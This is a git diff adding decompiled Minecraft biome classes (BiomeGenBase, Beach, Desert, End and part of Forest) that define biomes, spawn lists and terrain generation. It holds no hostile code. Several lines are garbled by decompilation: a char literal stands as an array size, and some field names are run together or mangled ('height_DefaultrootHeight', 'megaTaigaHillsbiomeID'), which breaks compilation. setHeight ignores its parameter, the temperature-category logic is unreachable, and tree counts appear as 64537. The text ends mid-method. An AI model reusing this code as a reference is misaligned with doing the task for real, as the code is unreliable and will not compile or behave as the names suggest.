+  protected static final Height height_LowIslands = new Height(0.2F, 0.3F);
+  protected static final Height height_PartiallySubmerged = new Height(-0.2F, 0.1F);
+  
+
+  private static final BiomeGenBase[] biomeList = new BiomeGenBase['Ā'];
+  public static final Set explorationBiomesList = com.google.common.collect.Sets.newHashSet();
+  public static final Map field_180278_o = Maps.newHashMap();
+  public static final BiomeGenBase ocean = new BiomeGenOcean(0).setColor(112).setBiomeName("Ocean").setHeight(height_Oceans);
+  public static final BiomeGenBase plains = new BiomeGenPlains(1).setColor(9286496).setBiomeName("Plains");
+  public static final BiomeGenBase desert = new BiomeGenDesert(2).setColor(16421912).setBiomeName("Desert").setDisableRain().setTemperatureRainfall(2.0F, 0.0F).setHeight(height_LowPlains);
+  public static final BiomeGenBase extremeHills = new BiomeGenHills(3, false).setColor(6316128).setBiomeName("Extreme Hills").setHeight(height_MidHills).setTemperatureRainfall(0.2F, 0.3F);
+  public static final BiomeGenBase forest = new BiomeGenForest(4, 0).setColor(353825).setBiomeName("Forest");
+  public static final BiomeGenBase taiga = new BiomeGenTaiga(5, 0).setColor(747097).setBiomeName("Taiga").setFillerBlockMetadata(5159473).setTemperatureRainfall(0.25F, 0.8F).setHeight(height_MidPlains);
+  public static final BiomeGenBase swampland = new BiomeGenSwamp(6).setColor(522674).setBiomeName("Swampland").setFillerBlockMetadata(9154376).setHeight(height_PartiallySubmerged).setTemperatureRainfall(0.8F, 0.9F);
+  public static final BiomeGenBase river = new BiomeGenRiver(7).setColor(255).setBiomeName("River").setHeight(height_ShallowWaters);
+  public static final BiomeGenBase hell = new BiomeGenHell(8).setColor(16711680).setBiomeName("Hell").setDisableRain().setTemperatureRainfall(2.0F, 0.0F);
+  
+
+  public static final BiomeGenBase sky = new BiomeGenEnd(9).setColor(8421631).setBiomeName("The End").setDisableRain();
+  public static final BiomeGenBase frozenOcean = new BiomeGenOcean(10).setColor(9474208).setBiomeName("FrozenOcean").setEnableSnow().setHeight(height_Oceans).setTemperatureRainfall(0.0F, 0.5F);
+  public static final BiomeGenBase frozenRiver = new BiomeGenRiver(11).setColor(10526975).setBiomeName("FrozenRiver").setEnableSnow().setHeight(height_ShallowWaters).setTemperatureRainfall(0.0F, 0.5F);
+  public static final BiomeGenBase icePlains = new BiomeGenSnow(12, false).setColor(16777215).setBiomeName("Ice Plains").setEnableSnow().setTemperatureRainfall(0.0F, 0.5F).setHeight(height_LowPlains);
+  public static final BiomeGenBase iceMountains = new BiomeGenSnow(13, false).setColor(10526880).setBiomeName("Ice Mountains").setEnableSnow().setHeight(height_LowHills).setTemperatureRainfall(0.0F, 0.5F);
+  public static final BiomeGenBase mushroomIsland = new BiomeGenMushroomIsland(14).setColor(16711935).setBiomeName("MushroomIsland").setTemperatureRainfall(0.9F, 1.0F).setHeight(height_LowIslands);
+  public static final BiomeGenBase mushroomIslandShore = new BiomeGenMushroomIsland(15).setColor(10486015).setBiomeName("MushroomIslandShore").setTemperatureRainfall(0.9F, 1.0F).setHeight(height_Shores);
+  
+
+  public static final BiomeGenBase beach = new BiomeGenBeach(16).setColor(16440917).setBiomeName("Beach").setTemperatureRainfall(0.8F, 0.4F).setHeight(height_Shores);
+  
+
+  public static final BiomeGenBase desertHills = new BiomeGenDesert(17).setColor(13786898).setBiomeName("DesertHills").setDisableRain().setTemperatureRainfall(2.0F, 0.0F).setHeight(height_LowHills);
+  
+
+  public static final BiomeGenBase forestHills = new BiomeGenForest(18, 0).setColor(2250012).setBiomeName("ForestHills").setHeight(height_LowHills);
+  
+
+  public static final BiomeGenBase taigaHills = new BiomeGenTaiga(19, 0).setColor(1456435).setBiomeName("TaigaHills").setFillerBlockMetadata(5159473).setTemperatureRainfall(0.25F, 0.8F).setHeight(height_LowHills);
+  
+
+  public static final BiomeGenBase extremeHillsEdge = new BiomeGenHills(20, true).setColor(7501978).setBiomeName("Extreme Hills Edge").setHeight(height_MidHills.attenuate()).setTemperatureRainfall(0.2F, 0.3F);
+  
+
+  public static final BiomeGenBase jungle = new BiomeGenJungle(21, false).setColor(5470985).setBiomeName("Jungle").setFillerBlockMetadata(5470985).setTemperatureRainfall(0.95F, 0.9F);
+  public static final BiomeGenBase jungleHills = new BiomeGenJungle(22, false).setColor(2900485).setBiomeName("JungleHills").setFillerBlockMetadata(5470985).setTemperatureRainfall(0.95F, 0.9F).setHeight(height_LowHills);
+  public static final BiomeGenBase jungleEdge = new BiomeGenJungle(23, true).setColor(6458135).setBiomeName("JungleEdge").setFillerBlockMetadata(5470985).setTemperatureRainfall(0.95F, 0.8F);
+  public static final BiomeGenBase deepOcean = new BiomeGenOcean(24).setColor(48).setBiomeName("Deep Ocean").setHeight(height_DeepOceans);
+  public static final BiomeGenBase stoneBeach = new BiomeGenStoneBeach(25).setColor(10658436).setBiomeName("Stone Beach").setTemperatureRainfall(0.2F, 0.3F).setHeight(height_RockyWaters);
+  public static final BiomeGenBase coldBeach = new BiomeGenBeach(26).setColor(16445632).setBiomeName("Cold Beach").setTemperatureRainfall(0.05F, 0.3F).setHeight(height_Shores).setEnableSnow();
+  public static final BiomeGenBase birchForest = new BiomeGenForest(27, 2).setBiomeName("Birch Forest").setColor(3175492);
+  public static final BiomeGenBase birchForestHills = new BiomeGenForest(28, 2).setBiomeName("Birch Forest Hills").setColor(2055986).setHeight(height_LowHills);
+  public static final BiomeGenBase roofedForest = new BiomeGenForest(29, 3).setColor(4215066).setBiomeName("Roofed Forest");
+  public static final BiomeGenBase coldTaiga = new BiomeGenTaiga(30, 0).setColor(3233098).setBiomeName("Cold Taiga").setFillerBlockMetadata(5159473).setEnableSnow().setTemperatureRainfall(-0.5F, 0.4F).setHeight(height_MidPlains).func_150563_c(16777215);
+  public static final BiomeGenBase coldTaigaHills = new BiomeGenTaiga(31, 0).setColor(2375478).setBiomeName("Cold Taiga Hills").setFillerBlockMetadata(5159473).setEnableSnow().setTemperatureRainfall(-0.5F, 0.4F).setHeight(height_LowHills).func_150563_c(16777215);
+  public static final BiomeGenBase megaTaiga = new BiomeGenTaiga(32, 1).setColor(5858897).setBiomeName("Mega Taiga").setFillerBlockMetadata(5159473).setTemperatureRainfall(0.3F, 0.8F).setHeight(height_MidPlains);
+  public static final BiomeGenBase megaTaigaHills = new BiomeGenTaiga(33, 1).setColor(4542270).setBiomeName("Mega Taiga Hills").setFillerBlockMetadata(5159473).setTemperatureRainfall(0.3F, 0.8F).setHeight(height_LowHills);
+  public static final BiomeGenBase extremeHillsPlus = new BiomeGenHills(34, true).setColor(5271632).setBiomeName("Extreme Hills+").setHeight(height_MidHills).setTemperatureRainfall(0.2F, 0.3F);
+  public static final BiomeGenBase savanna = new BiomeGenSavanna(35).setColor(12431967).setBiomeName("Savanna").setTemperatureRainfall(1.2F, 0.0F).setDisableRain().setHeight(height_LowPlains);
+  public static final BiomeGenBase savannaPlateau = new BiomeGenSavanna(36).setColor(10984804).setBiomeName("Savanna Plateau").setTemperatureRainfall(1.0F, 0.0F).setDisableRain().setHeight(height_HighPlateaus);
+  public static final BiomeGenBase mesa = new BiomeGenMesa(37, false, false).setColor(14238997).setBiomeName("Mesa");
+  public static final BiomeGenBase mesaPlateau_F = new BiomeGenMesa(38, false, true).setColor(11573093).setBiomeName("Mesa Plateau F").setHeight(height_HighPlateaus);
+  public static final BiomeGenBase mesaPlateau = new BiomeGenMesa(39, false, false).setColor(13274213).setBiomeName("Mesa Plateau").setHeight(height_HighPlateaus);
+  public static final BiomeGenBase field_180279_ad = ocean;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected BiomeGenBase(int p_i1971_1_)
+  {
+    topBlock = Blocks.grass.getDefaultState();
+    fillerBlock = Blocks.dirt.getDefaultState();
+    fillerBlockMetadata = 5169201;
+    minHeight = height_DefaultrootHeight;
+    maxHeight = height_Defaultvariation;
+    temperature = 0.5F;
+    rainfall = 0.5F;
+    waterColorMultiplier = 16777215;
+    spawnableMonsterList = Lists.newArrayList();
+    spawnableCreatureList = Lists.newArrayList();
+    spawnableWaterCreatureList = Lists.newArrayList();
+    spawnableCaveCreatureList = Lists.newArrayList();
+    enableRain = true;
+    worldGeneratorTrees = new WorldGenTrees(false);
+    worldGeneratorBigTree = new WorldGenBigTree(false);
+    worldGeneratorSwamp = new WorldGenSwamp();
+    biomeID = p_i1971_1_;
+    biomeList[p_i1971_1_] = this;
+    theBiomeDecorator = createBiomeDecorator();
+    spawnableCreatureList.add(new SpawnListEntry(net.minecraft.entity.passive.EntitySheep.class, 12, 4, 4));
+    spawnableCreatureList.add(new SpawnListEntry(EntityRabbit.class, 10, 3, 3));
+    spawnableCreatureList.add(new SpawnListEntry(EntityPig.class, 10, 4, 4));
+    spawnableCreatureList.add(new SpawnListEntry(EntityChicken.class, 10, 4, 4));
+    spawnableCreatureList.add(new SpawnListEntry(EntityCow.class, 8, 4, 4));
+    spawnableMonsterList.add(new SpawnListEntry(EntitySpider.class, 100, 4, 4));
+    spawnableMonsterList.add(new SpawnListEntry(EntityZombie.class, 100, 4, 4));
+    spawnableMonsterList.add(new SpawnListEntry(net.minecraft.entity.monster.EntitySkeleton.class, 100, 4, 4));
+    spawnableMonsterList.add(new SpawnListEntry(EntityCreeper.class, 100, 4, 4));
+    spawnableMonsterList.add(new SpawnListEntry(EntitySlime.class, 100, 4, 4));
+    spawnableMonsterList.add(new SpawnListEntry(EntityEnderman.class, 10, 1, 4));
+    spawnableMonsterList.add(new SpawnListEntry(EntityWitch.class, 5, 1, 1));
+    spawnableWaterCreatureList.add(new SpawnListEntry(EntitySquid.class, 10, 4, 4));
+    spawnableCaveCreatureList.add(new SpawnListEntry(EntityBat.class, 10, 8, 8));
+  }
+  
+
+
+
+  protected BiomeDecorator createBiomeDecorator()
+  {
+    return new BiomeDecorator();
+  }
+  
+
+
+
+  protected BiomeGenBase setTemperatureRainfall(float p_76732_1_, float p_76732_2_)
+  {
+    if ((p_76732_1_ > 0.1F) && (p_76732_1_ < 0.2F))
+    {
+      throw new IllegalArgumentException("Please avoid temperatures in the range 0.1 - 0.2 because of snow");
+    }
+    
+
+    temperature = p_76732_1_;
+    rainfall = p_76732_2_;
+    return this;
+  }
+  
+
+  protected final BiomeGenBase setHeight(Height p_150570_1_)
+  {
+    minHeight = rootHeight;
+    maxHeight = variation;
+    return this;
+  }
+  
+
+
+
+  protected BiomeGenBase setDisableRain()
+  {
+    enableRain = false;
+    return this;
+  }
+  
+  public WorldGenAbstractTree genBigTreeChance(Random p_150567_1_)
+  {
+    return p_150567_1_.nextInt(10) == 0 ? worldGeneratorBigTree : worldGeneratorTrees;
+  }
+  
+
+
+
+  public WorldGenerator getRandomWorldGenForGrass(Random p_76730_1_)
+  {
+    return new WorldGenTallGrass(BlockTallGrass.EnumType.GRASS);
+  }
+  
+  public BlockFlower.EnumFlowerType pickRandomFlower(Random p_180623_1_, BlockPos p_180623_2_)
+  {
+    return p_180623_1_.nextInt(3) > 0 ? BlockFlower.EnumFlowerType.DANDELION : BlockFlower.EnumFlowerType.POPPY;
+  }
+  
+
+
+
+  protected BiomeGenBase setEnableSnow()
+  {
+    enableSnow = true;
+    return this;
+  }
+  
+  protected BiomeGenBase setBiomeName(String p_76735_1_)
+  {
+    biomeName = p_76735_1_;
+    return this;
+  }
+  
+  protected BiomeGenBase setFillerBlockMetadata(int p_76733_1_)
+  {
+    fillerBlockMetadata = p_76733_1_;
+    return this;
+  }
+  
+  protected BiomeGenBase setColor(int p_76739_1_)
+  {
+    func_150557_a(p_76739_1_, false);
+    return this;
+  }
+  
+  protected BiomeGenBase func_150563_c(int p_150563_1_)
+  {
+    field_150609_ah = p_150563_1_;
+    return this;
+  }
+  
+  protected BiomeGenBase func_150557_a(int p_150557_1_, boolean p_150557_2_)
+  {
+    color = p_150557_1_;
+    
+    if (p_150557_2_)
+    {
+      field_150609_ah = ((p_150557_1_ & 0xFEFEFE) >> 1);
+    }
+    else
+    {
+      field_150609_ah = p_150557_1_;
+    }
+    
+    return this;
+  }
+  
+
+
+
+  public int getSkyColorByTemp(float p_76731_1_)
+  {
+    p_76731_1_ /= 3.0F;
+    p_76731_1_ = MathHelper.clamp_float(p_76731_1_, -1.0F, 1.0F);
+    return Color.getHSBColor(0.62222224F - p_76731_1_ * 0.05F, 0.5F + p_76731_1_ * 0.1F, 1.0F).getRGB();
+  }
+  
+
+
+
+  public List getSpawnableList(EnumCreatureType p_76747_1_)
+  {
+    switch (SwitchEnumCreatureType.field_180275_a[p_76747_1_.ordinal()])
+    {
+    case 1: 
+      return spawnableMonsterList;
+    
+    case 2: 
+      return spawnableCreatureList;
+    
+    case 3: 
+      return spawnableWaterCreatureList;
+    
+    case 4: 
+      return spawnableCaveCreatureList;
+    }
+    
+    return Collections.emptyList();
+  }
+  
+
+
+
+
+  public boolean getEnableSnow()
+  {
+    return isSnowyBiome();
+  }
+  
+
+
+
+  public boolean canSpawnLightningBolt()
+  {
+    return isSnowyBiome() ? false : enableRain;
+  }
+  
+
+
+
+  public boolean isHighHumidity()
+  {
+    return rainfall > 0.85F;
+  }
+  
+
+
+
+  public float getSpawningChance()
+  {
+    return 0.1F;
+  }
+  
+
+
+
+  public final int getIntRainfall()
+  {
+    return (int)(rainfall * 65536.0F);
+  }
+  
+
+
+
+  public final float getFloatRainfall()
+  {
+    return rainfall;
+  }
+  
+  public final float func_180626_a(BlockPos p_180626_1_)
+  {
+    if (p_180626_1_.getY() > 64)
+    {
+      float var2 = (float)(temperatureNoise.func_151601_a(p_180626_1_.getX() * 1.0D / 8.0D, p_180626_1_.getZ() * 1.0D / 8.0D) * 4.0D);
+      return temperature - (var2 + p_180626_1_.getY() - 64.0F) * 0.05F / 30.0F;
+    }
+    
+
+    return temperature;
+  }
+  
+
+  public void func_180624_a(World worldIn, Random p_180624_2_, BlockPos p_180624_3_)
+  {
+    theBiomeDecorator.func_180292_a(worldIn, p_180624_2_, this, p_180624_3_);
+  }
+  
+  public int func_180627_b(BlockPos p_180627_1_)
+  {
+    double var2 = MathHelper.clamp_float(func_180626_a(p_180627_1_), 0.0F, 1.0F);
+    double var4 = MathHelper.clamp_float(getFloatRainfall(), 0.0F, 1.0F);
+    return ColorizerGrass.getGrassColor(var2, var4);
+  }
+  
+  public int func_180625_c(BlockPos p_180625_1_)
+  {
+    double var2 = MathHelper.clamp_float(func_180626_a(p_180625_1_), 0.0F, 1.0F);
+    double var4 = MathHelper.clamp_float(getFloatRainfall(), 0.0F, 1.0F);
+    return net.minecraft.world.ColorizerFoliage.getFoliageColor(var2, var4);
+  }
+  
+  public boolean isSnowyBiome()
+  {
+    return enableSnow;
+  }
+  
+  public void genTerrainBlocks(World worldIn, Random p_180622_2_, ChunkPrimer p_180622_3_, int p_180622_4_, int p_180622_5_, double p_180622_6_)
+  {
+    func_180628_b(worldIn, p_180622_2_, p_180622_3_, p_180622_4_, p_180622_5_, p_180622_6_);
+  }
+  
+  public final void func_180628_b(World worldIn, Random p_180628_2_, ChunkPrimer p_180628_3_, int p_180628_4_, int p_180628_5_, double p_180628_6_)
+  {
+    boolean var8 = true;
+    IBlockState var9 = topBlock;
+    IBlockState var10 = fillerBlock;
+    int var11 = -1;
+    int var12 = (int)(p_180628_6_ / 3.0D + 3.0D + p_180628_2_.nextDouble() * 0.25D);
+    int var13 = p_180628_4_ & 0xF;
+    int var14 = p_180628_5_ & 0xF;
+    
+    for (int var15 = 255; var15 >= 0; var15--)
+    {
+      if (var15 <= p_180628_2_.nextInt(5))
+      {
+        p_180628_3_.setBlockState(var14, var15, var13, Blocks.bedrock.getDefaultState());
+      }
+      else
+      {
+        IBlockState var16 = p_180628_3_.getBlockState(var14, var15, var13);
+        
+        if (var16.getBlock().getMaterial() == Material.air)
+        {
+          var11 = -1;
+        }
+        else if (var16.getBlock() == Blocks.stone)
+        {
+          if (var11 == -1)
+          {
+            if (var12 <= 0)
+            {
+              var9 = null;
+              var10 = Blocks.stone.getDefaultState();
+            }
+            else if ((var15 >= 59) && (var15 <= 64))
+            {
+              var9 = topBlock;
+              var10 = fillerBlock;
+            }
+            
+            if ((var15 < 63) && ((var9 == null) || (var9.getBlock().getMaterial() == Material.air)))
+            {
+              if (func_180626_a(new BlockPos(p_180628_4_, var15, p_180628_5_)) < 0.15F)
+              {
+                var9 = Blocks.ice.getDefaultState();
+              }
+              else
+              {
+                var9 = Blocks.water.getDefaultState();
+              }
+            }
+            
+            var11 = var12;
+            
+            if (var15 >= 62)
+            {
+              p_180628_3_.setBlockState(var14, var15, var13, var9);
+            }
+            else if (var15 < 56 - var12)
+            {
+              var9 = null;
+              var10 = Blocks.stone.getDefaultState();
+              p_180628_3_.setBlockState(var14, var15, var13, Blocks.gravel.getDefaultState());
+            }
+            else
+            {
+              p_180628_3_.setBlockState(var14, var15, var13, var10);
+            }
+          }
+          else if (var11 > 0)
+          {
+            var11--;
+            p_180628_3_.setBlockState(var14, var15, var13, var10);
+            
+            if ((var11 == 0) && (var10.getBlock() == Blocks.sand))
+            {
+              var11 = p_180628_2_.nextInt(4) + Math.max(0, var15 - 63);
+              var10 = var10.getValue(BlockSand.VARIANT_PROP) == BlockSand.EnumType.RED_SAND ? Blocks.red_sandstone.getDefaultState() : Blocks.sandstone.getDefaultState();
+            }
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  protected BiomeGenBase createMutation()
+  {
+    return createMutatedBiome(biomeID + 128);
+  }
+  
+  protected BiomeGenBase createMutatedBiome(int p_180277_1_)
+  {
+    return new BiomeGenMutated(p_180277_1_, this);
+  }
+  
+  public Class getBiomeClass()
+  {
+    return getClass();
+  }
+  
+
+
+
+  public boolean isEqualTo(BiomeGenBase p_150569_1_)
+  {
+    return p_150569_1_ == this;
+  }
+  
+  public TempCategory getTempCategory()
+  {
+    return temperature < 1.0D ? TempCategory.MEDIUM : temperature < 0.2D ? TempCategory.COLD : TempCategory.WARM;
+  }
+  
+  public static BiomeGenBase[] getBiomeGenArray()
+  {
+    return biomeList;
+  }
+  
+
+
+
+  public static BiomeGenBase getBiome(int p_150568_0_)
+  {
+    return getBiomeFromBiomeList(p_150568_0_, null);
+  }
+  
+  public static BiomeGenBase getBiomeFromBiomeList(int p_180276_0_, BiomeGenBase p_180276_1_)
+  {
+    if ((p_180276_0_ >= 0) && (p_180276_0_ <= biomeList.length))
+    {
+      BiomeGenBase var2 = biomeList[p_180276_0_];
+      return var2 == null ? p_180276_1_ : var2;
+    }
+    
+
+    logger.warn("Biome ID is out of bounds: " + p_180276_0_ + ", defaulting to 0 (Ocean)");
+    return ocean;
+  }
+  
+
+  static
+  {
+    plains.createMutation();
+    desert.createMutation();
+    forest.createMutation();
+    taiga.createMutation();
+    swampland.createMutation();
+    icePlains.createMutation();
+    jungle.createMutation();
+    jungleEdge.createMutation();
+    coldTaiga.createMutation();
+    savanna.createMutation();
+    savannaPlateau.createMutation();
+    mesa.createMutation();
+    mesaPlateau_F.createMutation();
+    mesaPlateau.createMutation();
+    birchForest.createMutation();
+    birchForestHills.createMutation();
+    roofedForest.createMutation();
+    megaTaiga.createMutation();
+    extremeHills.createMutation();
+    extremeHillsPlus.createMutation();
+    megaTaiga.createMutatedBiome(megaTaigaHillsbiomeID + 128).setBiomeName("Redwood Taiga Hills M");
+    BiomeGenBase[] var0 = biomeList;
+    int var1 = var0.length;
+    
+    for (int var2 = 0; var2 < var1; var2++)
+    {
+      BiomeGenBase var3 = var0[var2];
+      
+      if (var3 != null)
+      {
+        if (field_180278_o.containsKey(biomeName))
+        {
+          throw new Error("Biome \"" + biomeName + "\" is defined as both ID " + field_180278_ogetbiomeName)).biomeID + " and " + biomeID);
+        }
+        
+        field_180278_o.put(biomeName, var3);
+        
+        if (biomeID < 128)
+        {
+          explorationBiomesList.add(var3);
+        }
+      }
+    }
+    
+    explorationBiomesList.remove(hell);
+    explorationBiomesList.remove(sky);
+    explorationBiomesList.remove(frozenOcean);
+    explorationBiomesList.remove(extremeHillsEdge); }
+  protected static final NoiseGeneratorPerlin temperatureNoise = new NoiseGeneratorPerlin(new Random(1234L), 1);
+  protected static final NoiseGeneratorPerlin field_180281_af = new NoiseGeneratorPerlin(new Random(2345L), 1);
+  protected static final WorldGenDoublePlant field_180280_ag = new WorldGenDoublePlant();
+  public String biomeName;
+  public int color;
+  public int field_150609_ah;
+  public IBlockState topBlock;
+  public IBlockState fillerBlock;
+  
+  public static class Height
+  {
+    public Height(float p_i45371_1_, float p_i45371_2_)
+    {
+      rootHeight = p_i45371_1_;
+      variation = p_i45371_2_; }
+    
+    public float rootHeight;
+    public float variation;
+    private static final String __OBFID = "CL_00000159";
+    public Height attenuate() { return new Height(rootHeight * 0.8F, variation * 0.6F); } }
+  
+  public int fillerBlockMetadata;
+  public float minHeight;
+  public float maxHeight;
+  public float temperature;
+  public float rainfall;
+  public int waterColorMultiplier;
+  public static class SpawnListEntry extends WeightedRandom.Item { public Class entityClass;
+    public int minGroupCount;
+    public int maxGroupCount;
+    private static final String __OBFID = "CL_00000161";
+    
+    public SpawnListEntry(Class p_i1970_1_, int p_i1970_2_, int p_i1970_3_, int p_i1970_4_) { super();
+      entityClass = p_i1970_1_;
+      minGroupCount = p_i1970_3_;
+      maxGroupCount = p_i1970_4_;
+    }
+    
+    public String toString()
+    {
+      return entityClass.getSimpleName() + "*(" + minGroupCount + "-" + maxGroupCount + "):" + itemWeight;
+    }
+  }
+  
+  static final class SwitchEnumCreatureType
+  {
+    static final int[] field_180275_a = new int[EnumCreatureType.values().length];
+    private static final String __OBFID = "CL_00002150";
+    
+    static
+    {
+      try
+      {
+        field_180275_a[EnumCreatureType.MONSTER.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_180275_a[EnumCreatureType.CREATURE.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_180275_a[EnumCreatureType.WATER_CREATURE.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_180275_a[EnumCreatureType.AMBIENT.ordinal()] = 4; } catch (NoSuchFieldError localNoSuchFieldError4) {} }
+    
+    SwitchEnumCreatureType() {} }
+  
+  public BiomeDecorator theBiomeDecorator;
+  protected List spawnableMonsterList;
+  protected List spawnableCreatureList;
+  protected List spawnableWaterCreatureList;
+  protected List spawnableCaveCreatureList;
+  protected boolean enableSnow;
+  
+  public static enum TempCategory { OCEAN("OCEAN", 0), 
+    COLD("COLD", 1), 
+    MEDIUM("MEDIUM", 2), 
+    WARM("WARM", 3);
+    
+    private static final TempCategory[] $VALUES = { OCEAN, COLD, MEDIUM, WARM };
+    private static final String __OBFID = "CL_00000160";
+    
+    private TempCategory(String p_i45372_1_, int p_i45372_2_) {}
+  }
+  
+  protected boolean enableRain;
+  public final int biomeID;
+  protected WorldGenTrees worldGeneratorTrees;
+  protected WorldGenBigTree worldGeneratorBigTree;
+  protected WorldGenSwamp worldGeneratorSwamp;
+  private static final String __OBFID = "CL_00000158";
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeGenBeach.java b/src/minecraft/net/minecraft/world/biome/BiomeGenBeach.java
new file mode 100644
index 0000000..ba25512
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeGenBeach.java
@@ -0,0 +1,20 @@
+package net.minecraft.world.biome;
+
+import net.minecraft.block.BlockSand;
+
+public class BiomeGenBeach extends BiomeGenBase
+{
+  private static final String __OBFID = "CL_00000157";
+  
+  public BiomeGenBeach(int p_i1969_1_)
+  {
+    super(p_i1969_1_);
+    spawnableCreatureList.clear();
+    topBlock = net.minecraft.init.Blocks.sand.getDefaultState();
+    fillerBlock = net.minecraft.init.Blocks.sand.getDefaultState();
+    theBiomeDecorator.treesPerChunk = 64537;
+    theBiomeDecorator.deadBushPerChunk = 0;
+    theBiomeDecorator.reedsPerChunk = 0;
+    theBiomeDecorator.cactiPerChunk = 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeGenDesert.java b/src/minecraft/net/minecraft/world/biome/BiomeGenDesert.java
new file mode 100644
index 0000000..e805771
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeGenDesert.java
@@ -0,0 +1,38 @@
+package net.minecraft.world.biome;
+
+import java.util.Random;
+import net.minecraft.block.BlockSand;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+import net.minecraft.world.gen.feature.WorldGenDesertWells;
+
+public class BiomeGenDesert extends BiomeGenBase
+{
+  private static final String __OBFID = "CL_00000167";
+  
+  public BiomeGenDesert(int p_i1977_1_)
+  {
+    super(p_i1977_1_);
+    spawnableCreatureList.clear();
+    topBlock = net.minecraft.init.Blocks.sand.getDefaultState();
+    fillerBlock = net.minecraft.init.Blocks.sand.getDefaultState();
+    theBiomeDecorator.treesPerChunk = 64537;
+    theBiomeDecorator.deadBushPerChunk = 2;
+    theBiomeDecorator.reedsPerChunk = 50;
+    theBiomeDecorator.cactiPerChunk = 10;
+    spawnableCreatureList.clear();
+  }
+  
+  public void func_180624_a(World worldIn, Random p_180624_2_, BlockPos p_180624_3_)
+  {
+    super.func_180624_a(worldIn, p_180624_2_, p_180624_3_);
+    
+    if (p_180624_2_.nextInt(1000) == 0)
+    {
+      int var4 = p_180624_2_.nextInt(16) + 8;
+      int var5 = p_180624_2_.nextInt(16) + 8;
+      BlockPos var6 = worldIn.getHorizon(p_180624_3_.add(var4, 0, var5)).offsetUp();
+      new WorldGenDesertWells().generate(worldIn, p_180624_2_, var6);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeGenEnd.java b/src/minecraft/net/minecraft/world/biome/BiomeGenEnd.java
new file mode 100644
index 0000000..6cead61
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeGenEnd.java
@@ -0,0 +1,30 @@
+package net.minecraft.world.biome;
+
+import java.util.List;
+import net.minecraft.block.Block;
+
+public class BiomeGenEnd extends BiomeGenBase
+{
+  private static final String __OBFID = "CL_00000187";
+  
+  public BiomeGenEnd(int p_i1990_1_)
+  {
+    super(p_i1990_1_);
+    spawnableMonsterList.clear();
+    spawnableCreatureList.clear();
+    spawnableWaterCreatureList.clear();
+    spawnableCaveCreatureList.clear();
+    spawnableMonsterList.add(new BiomeGenBase.SpawnListEntry(net.minecraft.entity.monster.EntityEnderman.class, 10, 4, 4));
+    topBlock = net.minecraft.init.Blocks.dirt.getDefaultState();
+    fillerBlock = net.minecraft.init.Blocks.dirt.getDefaultState();
+    theBiomeDecorator = new BiomeEndDecorator();
+  }
+  
+
+
+
+  public int getSkyColorByTemp(float p_76731_1_)
+  {
+    return 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeGenForest.java b/src/minecraft/net/minecraft/world/biome/BiomeGenForest.java
new file mode 100644
index 0000000..df716fa
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeGenForest.java
@@ -0,0 +1,226 @@
+package net.minecraft.world.biome;
+
+import java.util.Random;
+import net.minecraft.block.BlockDoublePlant.EnumPlantType;
+import net.minecraft.block.BlockFlower.EnumFlowerType;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+import net.minecraft.world.gen.feature.WorldGenAbstractTree;
+import net.minecraft.world.gen.feature.WorldGenBigMushroom;
+import net.minecraft.world.gen.feature.WorldGenCanopyTree;
+import net.minecraft.world.gen.feature.WorldGenDoublePlant;
+import net.minecraft.world.gen.feature.WorldGenForest;
+
+public class BiomeGenForest extends BiomeGenBase
+{
+  private int field_150632_aF;
+  protected static final WorldGenForest field_150629_aC = new WorldGenForest(false, true);
+  protected static final WorldGenForest field_150630_aD = new WorldGenForest(false, false);
+  protected static final WorldGenCanopyTree field_150631_aE = new WorldGenCanopyTree(false);
+  private static final String __OBFID = "CL_00000170";
+  
+  public BiomeGenForest(int p_i45377_1_, int p_i45377_2_)
+  {
+    super(p_i45377_1_);
+    field_150632_aF = p_i45377_2_;
+    theBiomeDecorator.treesPerChunk = 10;
+    theBiomeDecorator.grassPerChunk = 2;
+    
+    if (field_150632_aF == 1)
+    {
+      theBiomeDecorator.treesPerChunk = 6;
+      theBiomeDecorator.flowersPerChunk = 100;
+      theBiomeDecorator.grassPerChunk = 1;
+    }
+    
+    setFillerBlockMetadata(5159473);
+    setTemperatureRainfall(0.7F, 0.8F);
+    
+    if (field_150632_aF == 2)
+    {
+      field_150609_ah = 353825;
+      color = 3175492;
+      setTemperatureRainfall(0.6F, 0.6F);
+    }
+    
+    if (field_150632_aF == 0)
+    {
+      spawnableCreatureList.add(new BiomeGenBase.SpawnListEntry(net.minecraft.entity.passive.EntityWolf.class, 5, 4, 4));
+    }
+    
+    if (field_150632_aF == 3)
+    {
+      theBiomeDecorator.treesPerChunk = 64537;
+    }
+  }
+  
+  protected BiomeGenBase func_150557_a(int p_150557_1_, boolean p_150557_2_)
+  {
+    if (field_150632_aF == 2)
+    {
+      field_150609_ah = 353825;
+      color = p_150557_1_;
+      
+      if (p_150557_2_)
+      {
+        field_150609_ah = ((field_150609_ah & 0xFEFEFE) >> 1);
+      }
+      
+      return this;
+    }
+    
+
+    return super.func_150557_a(p_150557_1_, p_150557_2_);
+  }
+  
+
+  public WorldGenAbstractTree genBigTreeChance(Random p_150567_1_)
+  {
